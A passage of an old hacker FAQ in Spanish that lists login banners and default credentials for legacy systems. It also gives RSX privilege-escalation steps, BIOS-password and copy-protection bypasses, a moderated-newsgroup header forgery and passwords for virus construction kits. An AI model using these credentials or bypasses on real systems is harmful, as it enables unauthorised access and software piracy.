SN - 00000866

TN043R1>

DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)
MPE XL:

GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.

XXXXXXXX

@
PASSWORD =

@

=-=

PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->

CITICORP (CITY NAME). KEY GHELP FOR HELP.
  XXX.XXX
 PLEASE SELECT SERVICE REQUIRED.-3->

Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~

Copyright (c) Northern Telecom, 1991

Novell ONLAN
~~~~~~~~~~~~
N

[Para acceder a los sistemas es mejor poseer una copia de ONLAN/ PC]
~~~~~~~~~~~~

PC-Anywhere
~~~~~~~~~~~
P

[Para acceder a los sistemas es mejor poseer una copia de PCAnywhere Remoto]

PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1

ER!

=-=

CONNECT
Primenet V 2.3 (system)
LOGIN (you)
User id? (system)
SAPB5 (you)
Password? (system)
DROWSAP (you)
OK, (system)

ROLM CBX II
~~~~~~~~~~~
ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995

USERNAME: op

PASSWORD:

 INVALID USERNAME-PASSWORD PAIR

ROLM-OSL
~~~~~~~~
MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47
RELEASE 8003

OSL, PLEASE.
?

System75
~~~~~~~~
Login: root
INCORRECT LOGIN

Login: browse
Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

Tops-10
~~~~~~~
NIH Timesharing

NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.

VM/370
~~~~~~
VM/370
!

VM/ESA
~~~~~~
VM/ESA ONLINE

TBVM2 VM/ESA Rel 1.1 PUT 9200

Fill in your USERID and PASSWORD and press ENTER
 (Su contraseña no aparecerá cuando lo teclea)
USERID ===>
PASSWORD ===>

COMMAND ===>

Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Checking authorization, Please wait... -
Annex username: TNO - Optional security check
Annex password: - Not always present

Permission granted
annex:

23. ¿CUALES SON LAS CUENTAS POR DEFECTO PARA XXX?

AIX
~~~
guest guest

AS/400
~~~~~~
qsecofr qsecofr /* master security officer */
qsysopr qsysopr /* system operator */
qpgmr qpgmr /* default programmer */

also

ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qserv qserv
qsvr qsvr
secofr secofr
qsrv ibmce1

DECserver
~~~~~~~~~
ACCESS
SYSTEM

Dynix (The library software, not the UnixOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Type 'later' to exit to the login prompt)
setup
library
circ

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~

| | | |
|---|---|---|
| HELLO | MANAGER.SYS | |
| HELLO | MGR.SYS | |
| HELLO | FIELD.SUPPORT | HPUNSUP or SUPPORT or HP |
| HELLO | OP.OPERATOR | |
| MGR | CAROLIAN | |
| MGR | CCC | |
| MGR | CNAS | |
| MGR | CONV | |
| MGR | COGNOS | |
| OPERATOR | COGNOS | |
| MANAGER | COGNOS | |
| OPERATOR | DISC | |
| MGR | HPDESK | |
| MGR | HPWORD | |
| FIELD | HPWORD | |
| MGR | HPOFFICE | |
| SPOOLMAN | HPOFFICE | |
| ADVMAIL | HPOFFICE | |
| MAIL | HPOFFICE | |
| WP | HPOFFICE | |
| MANAGER | HPOFFICE | |
| MGR | HPONLY | |
| FIELD | HPP187 | |
| MGR | HPP187 | |
| MGR | HPP189 | |
| MGR | HPP196 | |
| MGR | INTX3 | |
| MGR | ITF3000 | |
| MANAGER | ITF3000 | |
| MAIL | MAIL | |
| MGR | NETBASE | |
| MGR | REGO | |
| MGR | RJE | |
| MGR | ROBELLE | |
| MANAGER | SECURITY | |
| MGR | SECURITY | |
| FIELD | SERVICE | |
| MANAGER | SYS | |
| MGR | SYS | |
| PCUSER | SYS | |
| RSBCMON | SYS | |
| OPERATOR | SYS | |
| OPERATOR | SYSTEM | |
| FIELD | SUPPORT | |
| OPERATOR | SUPPORT | |
| MANAGER | TCH | |
| MAIL | TELESUP | |
| MANAGER | TELESUP | |
~~~~~~~~~~~~~~~~~~~~~~

MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER

TRABAJOS COMUNES SON Pub, Sys, Data
Passwords comunes son HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS
~~~~~~~~~
Sysop Sysop

Mitel PBX
~~~~~~~~~
SYSTEM

NeXTSTEP
~~~~~~~~
root NeXT
signa signa
me (Rumored to be correct, not checked)

Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~
fax

PICK O/S
~~~~~~~~
DSA # Desquetop System Administrator
DS
DESQUETOP
PHANTOM

Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP

Radio Shack Screen Savers
~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~
RS

Rolm
~~~~
CBX Defaults

op op
op operator
su super
admin pwp
eng engineer

PhoneMail Defaults

sysadmin sysadmin
tech tech
poll tech

RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER

Default accounts for Micro/RSX:

MICRO/RSX

Alternativamente puede pulsar< CTRL-Z> cuando la secuencia de boot pregunta por la fecha y crear una cuenta usando:

RUN ACNT
o RUN $ACNT

(Números mas bajos de 10{oct} son de privilegios)

Reboot y espera la pregunta dia/hora . pulsa ^C y a la entrada de MCR , escribe "abo at." Debe incluir el . punto!

If this works, type "acs lb0:/blks=1000" to get some swap space so the new step won't wedge.

Escribe " run $acnt" y cambia la contraseña de cualquier cuenta con un grupo número de 7 o menos.
~~~

Puede ser que el ^C no funcione. Prueba^ Z y ESC .
También prueba todas las 3 como terminaciones para horas válidas e invalidas.

Si ninguno de estos funciona, usa halt switch para detener el sistema,
sólo después de una fecha inválida. Busque un modo del usuario PSW 1[4-7 xxxx].
entonces pon 177777 en R6, cruza los dedos, escribe el drive preotegido
y continúa el sistema. Y esperemos que no se halla afianzado el sistema totalmente.

SGI Irix
~~~~~~~~
4DGifts
guest
demos
lp
nuucp
tour
tutor

System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field

Taco Bell
~~~~~~~~~
rgm rollout
tacobell
~~~~~~~~~

Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816

VMS
~~~
field service
systest utep

XON / XON Junior
~~~~~~~~~~~~~~~~
Default password: 166831

24. ¿Qué puerto es XXX?

El archivo /etc/services en la mayoria de maquinas Unix listan las asignaciones a puertos
para esa máquina. Para una lista completa de asignaciones a puertos
, lea RFC (Request For Comments) 1700 "Assigned Numbers"

25. ¿Qué es un troyano/ gusano/ virus/ bomba lógica?

Este respuesta FAQ fue escrita por Theora:

Troyano:(Caballo de troya)

¿Recuerda el Caballo de Troya ? Unos tipos malos se escondieron dentro de él hasta que podían
entrar en la ciudad a hacer sus maldades. Un programa de computadora troyano es similar. Es un programa que hace una función no autorizada, oculto
dentro de un programa autorizado . Hace alguna otra cosa que lo que
le mandas hacer, usualmente algo malévolo (aunque no necesariamente!),
y es la intención tenida por el autor al hacerlo . Si no es
intencional, se llama un 'bug' o, en otros casos, una figura (feature) :) Algunos programas que examinan virus descubren algunos troyanos. Algunos detectores no detectan algunos troyanos.
Ningun detector de virus detectara todos los troyanos.

Virus:

Un virus es un programa independiente que se reproduce él mismo. Puede
unirse a otros programas, y crearía copias de él mismo . Dañaría o corupcionara datos ,cambiara datos o degrada la
ejecución de su sistema por utilizar recursos tal como
~~~~~~~~~~~~~~~~

memoria o espacio de disco. Unos exploradores de virus descubren algunos virus. Losexploradores de virus no descubren
todos los virus. Ningún explorador de virus puede protegercontra "cualquier y todos los virus, conocidos y desconocidos,
ahora y siempre."

Gusano:

Hecho por el famoso Robert Morris, Jr .,los gusanos son programas que se reproducen por copiarse asi mismos una y otra vez, sistema a sistema, usando recursos y a veces aminorando la velocidad de los sistemas.
Usan las redes para extenderse , en muchos casos como los virus usan los archivos para extenderse. Algunas personas dicen que
la solución a virus ygusanos es no tener ningun archivo o redes. Están probablemente en lo cierto.

Bombas Lógicas:
Codigo que activará una forma particular de 'attack' (ataque) cuando una condicion designada se da.
Por ejemplo una bomba lógica podría anulartodos los archivos del 5 de diciembre. Diferente de un virus, una bomba lógica no hace
copias de si misma.

26. ¿Cómo puedo protegerme de virus y tal?

Esta respuesta FAQ la escribió Theora:

Los virus más comúnes son los que infectan el sector del boot. Puede ayudar a protegerte contra esos protegiendo
contra la escritura lo que no necesite escribirse. Definitivamente guarde un juego de floppys protegidos contra escritura
con los discos del sistema. Si tienes un virus, haz unas cuantas cosas muy simples.

Examine todos los archivos entrantes con una copia reciente de un explorador del virus bueno.
Entre el mejor está F-Prot, Dr. Solomon Anti-virus Toolkit, y
Thunderbyte Anti-Virus. AVP es también un programa bueno. Usar más de
un explorador podría ser útil.

Nuevos virus salen a razón de aproximadamente 8 por día en estos momentos. Ningún explorador puede con todos ellos ,
pero los cuatro mencionados aquí hacen el mejor trabajo en este momento. Cualquier _buen_ explorador descubrirá la mayoría
de los virus comunes. Ningún explorador de virus descubrirá todos los virus.

Ahora mismo hay aproximadamente 5600 virus conocidos. Se escriben nuevos todo el tiempo. Si usa un explorador para descubrir virus, necesita estar
seguro de que se pone frecuentemente al día. Si cuenta con blockers de la conducta, usted

deba saber que se pueden desviar fácilmente tales programas por una técnica conocida como tunnelling.

Querra usar tanto chequeadores de la integridad del sistema como exploradoresde virus.Piense que éstos pueden suministrar
protección extra ,pero no le dan seguridad total
Podria usar un género particular de exploradores que se llaman exploradores residentes.
Estos son programas que quedan residentes en la memoria de la computadoray monitorzan la ejecucion del programa.
(y a veces el acceso alos archivos que contienen los programas). Si trata de ejecutar un programa, el
explorador residente recibe el mando y lo examina primero para saber si hay virus. Sólo si no se halla ningun virus, se permite procesar el programa.

La mayoria de exploradores de virus no lo protegerán contra muchos tipos de caballos de troya y muy pocas bombas lógicas o gusanos.
Teoricamente, ellos pueden protegerle austed contra bombas lógicas y/ o gusanos, solo con examinar cadenas de caracteres;
sin embargo ,esto se hace raramente.

La mejor, realmente la unica, manera de protegerte es saber qué tiene usted en su sistema y asegurarse qué lo que tiene esta puesto allí por usted. Haga frecuentes backups de todos los archivos importantes.
Guarde sus archivos de sistema DOS protegidos contra escritura. Proteja todos los discos en los que no necesite escribir.
Si tiene un virus, no tenga pánico. Llame a la seccion de apoyo de la compañía que suministra su producto de anti-virus si usted
no está seguro de qué hacer. Si la compañía que hizo susoftware de anti-virus de no tiene un apoyo tecnico bueno,
cambiese de compañia.

La manera mejor asegurarse de que los virus no se extienden es no extenderlos. Algunas personas hacen esto intentionalmente.

27. ¿Dónde puedo conseguir más información acerca de virus?

Este FAQ fue escrita por Theora:

Los libros que tratan de la programacion en lenguaje ensamblador explican el (aburrido) aspecto de
la replicacion y tendra para mucho tiempo. Las cosas más excitantes/ interesantes acerca de los virus es toda la controversia alrededor de ellos. Lenguaje libre, legalidad, y [payloads] listo es mucho más interesante que el llamado "hallazgo primero,
hallazgo próximo" . Puede conseguir información acerca de los aspectos técnicos de virus, tan buena para ayudale si quiere pasar a hacer un virus, de
las virus-l FAQ , publicadas en comp.virus de vez en cuando. Puede leer también varios debates en el mismo sitio. Hay newsgroups del tipo de alt.virus,

pero el nivel de especialización técnica es mínimo, y hasta ahora por lo menos no ha habido mucha "ayuda" real por las personas quienes quieren - librarse - de un virus.

Hay muchos expertos de virus. Para llegar a ser uno, sólo te lo tienes que llamar.Es sólo una broma. La comprension de un Virus
conlleva el entender de programación, sistemas operativos, y su interacción. Entender todo el negocio del 'Culto a los Virus'
requiere mucha discusion. Hay varios articulos buenos disponibles sobre virus, y el Culto al Virus;
puede encontrar información en ellos casi en cualquier lista en el virus-l FAQ. El sitio de FTP ftp.informatik.unihamburg.de es un bonito sitio , fiable, para programas y texto.

28. ¿Qué es Cryptoxxxxxxx?

Este FAQ respuesta es de: Computer Security Basics
por Deborah Russell
y G.T. Gengemi Sr.

A un mensaje se le llama plaintext o cleartext. El proceso de enmascarar un mensaje de tal manera que esconda su substancia se llama encriptacion. Un mensaje encriptado se le llama ciphertext. El proceso de volver el ciphertext a plaintext se llama descriptacion.

El arte y ciencia de guardar mensajes seguros se llama criptografía, y es practicado por criptografos.El criptoanalisis es practicado por criptoanalistas, el arte y ciencia de romper el ciphertext, por ejmplo . mirar a traves de lo fingido ¿?. La rama de las matemáticas que engloba ambos criptografía y criptonalisis se llama criptologia, y es practicado por los llamados criptologos.

29. ¿Qué es PGP?

Este FAQ respuesta es de: PGP(tm) User's Guide
Volume I: Essential Topics
by Philip Zimmermann

Sinopsis: PGP (tm) utiliza criptografía de clave pública para proteger el correo electrónico y los ficheros de datos. Comunícate con seguridad con personas a las que nunca has visto, sin necesidad de canales seguros para intercambiar claves. PGP es rápido y ofrece muchas prestaciones, entre ellas una completa gestión de claves, firmas digitales, compresión de datos y un buen diseño ergonómico.

Pretty Good(mr) Privacy (PGP), "intimidad bastante buena", de Phil's Pretty Good Software, es una aplicación informática de criptografía de

alta seguridad para MSDOS, Unix, VAX/VMS y otros ordenadores. PGP permite intercambiar ficheros y mensajes con intimidad, autenticación y comodidad. 'Intimidad' quiere decir que sólo podrán leer el mensaje aquellos a quienes va dirigido. 'Autenticación' quiere decir que los mensajes que parecen ser de alguien sólo pueden venir de esa persona en particular. 'Comodidad' quiere decir que la intimidad y la autenticación se consiguen sin los problemas de gestión de claves asociados a otros programas de criptografía convencional. No se necesitan canales seguros para intercambiar claves entre usuarios, por lo que PGP resulta mucho más fácil de utilizar. Esto se debe a que PGP está basado en una potente nueva tecnología llamada criptografía de "clave pública".

PGP combina la comodidad del criptosistema de clave pública de Rivest-Shamir-Adleman (RSA) con la velocidad de la criptografía convencional, con resúmenes de mensajes para firmas digitales, con compresión de datos antes de encriptar, con un buen diseño ergonómico y con una completa gestión de claves. Por otra parte, PGP realiza las funciones de clave pública con más rápidez que la mayoría de las demás implementaciones informáticas. PGP es criptografía de clave pública para todos.

30. ¿Qué es el Tempest?

Tempest significa Transient Electromagnetic Pulse Surveillance Technology.

Las computadoras y otros equipos electronicos producen interferencias a su ambiente circundante. Observara esto al poner dos monitores de video juntos. Los cuadros se comportarán erraticamente
hasta que usted los separe.

Porqué es importante para un observador la emisión de pulsos digitales (1s y 0s) como los que usan los computadoras. El canal de estas radiaciones puede ser de dos tipos, radió emisiones (radiated emissions) y emisiones conducidas(conducted emissions).
Radió emisiones se tienen cuando los componentes en aparatos eléctricos actuan como antenas. Emisiones conducidas se forman cuando la radiación se conduce a lo largo de cables y alambres.

Aunque la mayoria del tiempo estas emisiones son simplemente molestias, a veces pueden ser muy útiles. Suponga que queríamos ver qué en que proyecto trabaja un
objetivo. Podríamos aparcar una camioneta de mudanzas fuera de su oficina y usar un equipo sensible electrónico para intentar recoger y descifrar las radió emisiones de su monitor de video. Estas emisiones normalmente estan entre 55-245 Mhz y se puede recoger tan lejos como a un kilómetro de distancia.

Un aparato monitoreado puede distinguir entre fuentes diferentes que emiten

radiación porque las fuentes que emiten la radiacion estan echas de distintos elementos y así éste y otros factores acoplados varían
la frecuencia de emision. Por ejemplo componentes diferentes electrónicos en VDUs, procesos diferentes industriales envuelto en reproducir el VDUs,
diferentes lineas de sincronia, etc. Por sincronizacion de nuestro rastreador con el raster de los blancos podemos pasivamente dibuja lo que el observó en pantalla en tiempo real.
Esta tecnología puede ser adquirida por cualquiera, no por agencias de gobierno solamnete.

El blanco podría escudar las emisiones de su equipo o usar
equipo que no genere fuentes de emision. Sin enbargo, el equipo Tempest no es legal para usarlo por civiles en los Estados Unidos.

Tempest es el programa del Gobierno US para la evaluación y endosado de
equipo electrónico que sea seguro para escuchar detrás de las puertas. La certificacion Tempest
se refiere al equipo que ha pasado una fase de comprobación y
estar de acuerdo con las reglas de emisiones del gobierna especificadas en el documento NACSIM 5100A (Clasificado). Este documento
fija los niveles de emanación del equipo del gobierno de los US que pueden tener sin comprometer la información que procesa.

31. ¿Qué es un remailer anónimo?

Este FAQ fue escrito por Raph Levien:

Un remailer anónimo es un sistema de internet que le deja enviar e-mails o mensajes de noticias a Usenet anonimamente.

Hay dos clases de remailers de extendido uso. El primero es el
estilo del anon.penet.fi, el segundo es el estilo del cypherpunk. El remailer anon.penet.fi es inmensamente popular, con mas de 160.000 usuarios en su tiempo de vida, y probablemente cientos de miles de mensajes por día. Su principal
ventaja es que es muy fácil usar. El mailers del cypherpunks, que
da mucha mayor garantía , llegara a ser más popular, cuando
halla más conocimiento de ellos.

El usuario del sistema de anon.penet.fi primero necesita hacer un id anónimo. Se consigue éste o por enviarle correo a alguien quien ya tiene uno (por ejemplo, por contestar a una noticia en Usenet), o enviando correo a ping@anon.penet.fi. En estos casos, penet mandará por correo inverso el nuevo id anonimo , que se parece a an123456@anon.penet.fi. Si an123456 envía correo a otro usuario del sistema, entonces ésto sera lo que pasa:

1. Se transporta el correo a anon.penet.fi, que reside en alguna parte en la vecindad de Espoo, Finlandia.

2. Estos pasos son llevados a cabo por el funcionamiento del software en anon.penet.fi.

Penet primero busca la direccion e-mail del remitente en su
banco de datos, entonces lo reemplaza con la codificación numérica. Toda otra información acerca del remitente se quita .

3. Entonces, penet busca el número del destinatario en el mismo
banco de datos, y lo reemplaza con la direccion actual de e-mail

4. Finalmente, le envía el correo a la direccion e-mail real de el
destinatario.

Hay variaciones en este esquema, tal como publicar en Usenet (en que el paso 3 se elimina), pero ésa es la idea básica.

Donde anon.penet.fi usa un banco de datos confidencial para asignar los anonimos id's a la direccion real de e-mail ,
los remailers de cypherpunks usan la criptografía para esconder lasidentidades reales.
Digamos que quiero enviarle un e-mail a una direccion e-mail real, o publicar en Usenet, pero guardando mi identidad
completamente oculta.
Enviaria un remailer , y ésto es lo qué pasaria.

1. yo encriptaria el mensaje y la dirección del destinatario, usando una llave pública
del remailer de mi eleción.

2. le envío el e-mail al remailer.

3. Cuando el remailer tiene el correo, lo desencripta usando su llave privada
i, revelando el plaintext, o sea el mensaje, y la dirección del destinatario.

4. Se quita Toda la información acerca del remitente.

5. Finalmente, se lo envía a la direccion de e-mail del destinatario .

Si uno confia en el operador del remailer, éste metodo es bastante bueno. Sin embargo el
punto fuerte del remailers de cypherpunks es que no_tienes_confianza en ningun sistema ni individuo.
Así,las personas que quieren una garantía realusan una cadena de remailers. Si cualquier remailer en el
"cadena" es honrado,con uno solo,entonces se asegura la privacidad del mensaje.

Para usar una cadena de remailers, yo primero tengo que preparar el mensaje, que se anida dentro de capas múltiples de encriptacion, como una muñeca rusa matryosh-ka.
Preparar tal mensaje es tedioso y es facil equivocarse,así muchas personas usan una herramienta automatizada
como mi paquete de premail.
Asi , después de preparar el mensaje, se le envía al primer remailer en
la cadena, que corresponde a la capa externa de la encriptacion. Cada
paso por un remailer quita una capa de encriptacion y le envía el mensaje al

próximo, hasta que llega al remailer ultimo. A estas alturas, sólo queda la capa más profunda de encriptacion. Se despoja esta capa , y revela el mensaje del plaintext y el destinatario por primera vez. En este punto, se le envía al destinatario real su mensaje.

Remailers existen en muchas localidades. Un mensaje típico puede ir por Canadá, Holanda, Berkeley, y Finlandia hasta llegar a su localidad final.

Aparte de la dificultad de preparar todos los mensajes encriptados otro inconveniente del remailers de cypherpunk es que no hacen faciles las contestaciones a correo anónimo.
Toda información acerca del remitente esquitada lejos, incluso cualquier género de dirección del remitente.
Sin embargo los nuevos servidores con alias prometen cambiar esto.Para usar un alias servidor, uno crea una direccion de e-mail nueva la mia es raph@alpha.c2.org).El correo enviado a esta dirección nueva será destrazado y reenviado a una dirección real.

Para hacer esto, uno primero encripta una vez su direccion de e-mail con múltiples capas de Encriptacion. Entonces, usando un canal encriptado, uno envía la dirección encriptada al alias servidor, con el apodo que le guste. El alias servidor registra la dirección encriptada en el banco de datos. El alias servidor entonces contesta al correo de la misma manera como anon.penet.fi, sólo que el correo se le reenvía a la cadena de remailers anónimos.

Para una garantía máxima , el usuario debe acordarse que para cada eslabón en la cadena, el remailer agrega otra capa de encriptacion al mensaje mientras quita una capa de la direccion de e-mail . Cuando el usuario finalmente tiene el e-mail, este esta encriptado en capas múltiples. El matryoshka debe abrir una muñeca cada vez hasta que el mensaje del plaintext escondido dentro se revela .

Uno otro punto es que el remailers debe ser fiable para que todo esto funcione. Ésto es mas verdad cuando se usa una cadena de remailers --si cualquier uno de los remailers no trabaja, entonces el mensaje será perdido. Es por esto por lo qué mantengo una lista de remailers fiable. Por escoger un remailers fiable con que comenzar , hay una oportunidad buena para que el mensaje llege finalmente.

32. ¿Cuales son las direcciones de algunos remailers anónimos?

El más popular y estable remailer anónimo es anon.penet.fi , llevado por Johan Helsingus. Para obtener un ID anonimo mandar un e-mail a ping@anon.penet.fi.

El servidor anon.penet.fi lo hace quitando cualquier título u otra información de su origen verdadero. Debe hacer un esfuerzo y tratar de omitir información detallada de su identidad dentro de tales mensajes

. Puede enviar mensajes
a:

anXXX@anon.penet.fi

Aquí tu te diriges a otro usuario anónimo y su mensaje E-Mail
aparecera originado por anon.penet.fi.

alt.security@anon.penet.fi
ping@anon.penet.fi

Si le envía un mensaje a esta dirección que se le asignará una identidad
(se supone que no tiene una). Puede confirmar también su
identidad aquí.

Puede ponerse también una contraseña, esta contraseña ayuda a
autentificar cualquier mensaje que envie. Se incluye esta contraseña
en sus mensajes salientes, para poner una contraseña envía un E-Mail a
password@anon.penet.fi con su contraseña en el cuerpo de su mensaje

To: password@anon.penet.fi
Subject:
TN0_rUlEz

Para más información en este servidor anónimo envíe correo a:

help@anon.penet.fi

Un articulo anonimo en Usenet es mal visto por otros usuarios de grupos Usenet
expresando que sus opiniones no tienen sin valor. Ésto es porque creen
se usa el anonimato para escudarse de ataques de personas que piensen lo contrario ,
en cambio esto se puede usar para protegerse de prejuicios sociales (o personas que
informan de sus opiniones a sus superiores).
También si piensa que ésta es una herramienta útil para esconderse contra las
autoridades entonces pienselo de nuevo,
como un caso famoso donde un juez mandó al administrador del servidor revelar la
identidad de unarticulo.

Para ver una lista comprensiva de remailers anónimos
remailer-list@kiwi.cs.berkeley.edu o
http://www.cs.berkeley.edu/~raph/remailer-list.html.

33. ¿Cómo derroto una Protección de Copia?

Hay dos métodos comúnes de derrotar una protección de copia. El primero
es usar un programa que quita la protección de la copia. Programas populares
como el CopyIIPC de Central Point Software y CopyWrite
de Quaid Software. El segundo método conlleva parchear la copia del

programa protegido. Por software popular podría localizar un parche que le funcione. Puede aplicar el parche usando cualquier
editor hex,como un debug o el Peter Norton's DiskEdit. Si no puede, debetener un sofware que lo parchee por usted.

El escribir un parche requiere un debugger,como Soft-Ice o Sourcer. También requiere algo de conocimiento del idioma ensamblador.
Debes cargar el programa protegidobajo el debugger y mirar como funcionar el mecanismo de protección.
Cuando esto se hace, se cambia esa porción del codigo. El codigose puede cambiar de JE (Jump on Equal) o JNE (Jump On Not Equal)
 aJMP (Jump Unconditionally). O tambien puede ser remplazado por una instruccion-NOP (No Operation) .

34. ¿Qué es el 127.0.0.1?

127.0.0.1 es una conexión de la red de loopback. Si usted hace telnet, ftp, etc.
a él se conecta a su propia máquina .

35. ¿Cómo publico en un newsgroup moderado?

Los mensajes en Usenet constan de títulos (o cabeceras) del mensaje y cuerpos del mensaje. El
título del mensaje le dice al software de noticias cómo procesar el mensaje.
Se pueden dividir los títulos en dos tipos, requiridos y opcionales.Titulos requiridos son "From" y "Newsgroups."
Sin los titulos requeridos u obligatorios, no se anunciará su mensaje.

Uno de los títulos optativos son los titulos "Approved" .Para anunciar en un newsgroup moderado, simplemente agrega una linea de título Approved a su cabecera del mensaje.La linea de título debe contener el e-mail de los moderadores del newsgroup a que se dirige.
para ver el formato de esta linea en su newsgroup objetivo , guarde un mensaje del newsgroup y entonces mirelo usando
cualquier editor del texto.

Una linea de Approved debe parecerse a ésta:

Approved: will@gnu.ai.mit.edu

No puede haber una línea de espacios en blanco en el título del mensaje. Una línea del espacios en blanco causa que
cualquier porción del título después de la línea en blanco esinterpretada como parte del cuerpo del mensaje.

Para mas informacion leer RFC 1036:
Standard for Interchange ofUSENET messages.

36. ¿Cómo anuncio en Usenet via e-mail?

Por una pasarela e-mail-> Usenet . Envíele un mensajes de e-mail a un @. Por ejemplo para anunciar en alt.2600 por nic.funet.fi,envie su correo a alt.2600@nic.funet.fi.

Estas son algunas pasarelas e-mail->Usenet :

group.name@news.demon.co.uk
group.name@charm.magnus.acs.ohio-state.edu
group.name@undergrad.math.uwaterloo.ca
group.name@nic.funet.fi
group.name.usenet@decwrl.dec.com

37. ¿Cómo derroto a una contraseña BIOS?

Ésto depende de qué BIOS tenga la máquina .Las BIOS mas comunes inclullen AMI, Award, IBM and Phoenix. Existen numerosas otras BIOS , pero éstas son las más comunes.

Algunas BIOS requieren una contraseña de entrada antes de que el sistema pueda arrancar. Otras BIOS requieren la contraseña antes de que se acceda al BIOS setup.

Cada BIOS debe guardar esta información de la contraseña en alguna parte. Si puede acceder a la máquina después de que se halla inicializado con éxito (si algun otro a arrancado la maquina con una contraseña valida por ejemplo), usted podria ver la contraseña. Debe saber cual es la direccion de memoria donde se guarda la contraseña, y el formato en que la contraseña es guardada . O, debe tener un programa que sabe estas cosas.

El programa mas comun para atacar contraseñas BIOS es por Ami BIOS. Algunos programas de ataque a las contraseñas le devolveran la contraseña AMI BIOS en texto sin codificar , otros se la devolverán en codificaciones ASCII , otros en scan codes. Ésto es dependiente no sólo del progama de ataque a la contraseña,sino también de la versión de Ami BIOS.

Para obtener Ami BIOS password attackers ,hacer un ftp a oak.oakland.edu /simtel/msdos/sysutil/.

Si no puede acceder a la máquina después de que se halla encendido, es todavía posible pasar la contraseña. La contraseña se guarda en memoria CMOS que se mantiene mientras apaga el PC con una pequeña batería, que se fija a la placa madre . Si quita ésta batería, se perderá toda la informacion del CMOS . Necesitará re-entrar

la informacion correcta en el CMOS para usar la máquina. Los dueños de las máquinas
o los usuarios se alarmaran cuando descubran que se a anulado la contraseña del BIOS .

En algunas placas madre se suelda la batería lo que dificulta quitar la bateria.Si éste es el caso, tiene otra alternativa.
En alguna parte en la placa madre debe hallar un jumper quelimpie la contraseña BIOS. Si tiene la documentacion de
su motherboard , sabrá donde esta ese jumper . Si no, el jumper puede estar etiquetado en la placa madre.
Si no es ninguno de éstos casos, podría suponer cual es el jumper correcto. Este jumper está de pie usualmente,
cerca de la batería.

38.Cual es el password para ?

Esta respuesta FAQ fue escrita por crypt

Magazine	Password
VLAD Magazine Issue #1	vlad
VLAD Magazine Issue #2	vx
VLAD Magazine Issue #3	virus
NuKE InfoJournal Issue #2	514738
NuKE InfoJournal Issue #3	power
NuKE InfoJournal Issue #4	party

Program	
Sphere Hacker 1.40 & 1.41	theozone
Virus Creation 2000	high level
Virus Construction Lab	Chiba City
Ejecutor Virus Creator	EJECUTOR
Biological Warfare v0.90	lo tek
Biological Warfare v1.00	freak

39. ¿Hay alguna espereranza de un decompilador que convertiría un programa ejecutable
en codigo C/ C++ ?
(No lo he traducido porque es un articulo de opinion , interesante eso si pero solo como curiosidad)
This FAQ answer is an excerpt from SNIPPETS by Bob Stout.

Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code

generator.

If the first case were to be correct, there would be no more need for compiler benchmarks since every one would work the same. For the second case to be true would require in immensely complex program that had to change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a decompiler designed to only work on code generated by, say, BC++ 4.5? This gets us right back to the optimization issue. Code written for clarity and understandability is often inefficient. Code written for maximum performance (speed or size) is often cryptic (at best!) Add to this the fact that all modern compilers have a multitude of optimization switches to control which optimization techniques to enable and which to avoid. The bottom line is that, for a reasonably large, complex source module, you can get the compiler to produce a number of different object modules simply by changing your optimization switches, so your decompiler will also have to be a deoptimizer which can automagically recognize which optimization strategies were enabled at compile time.

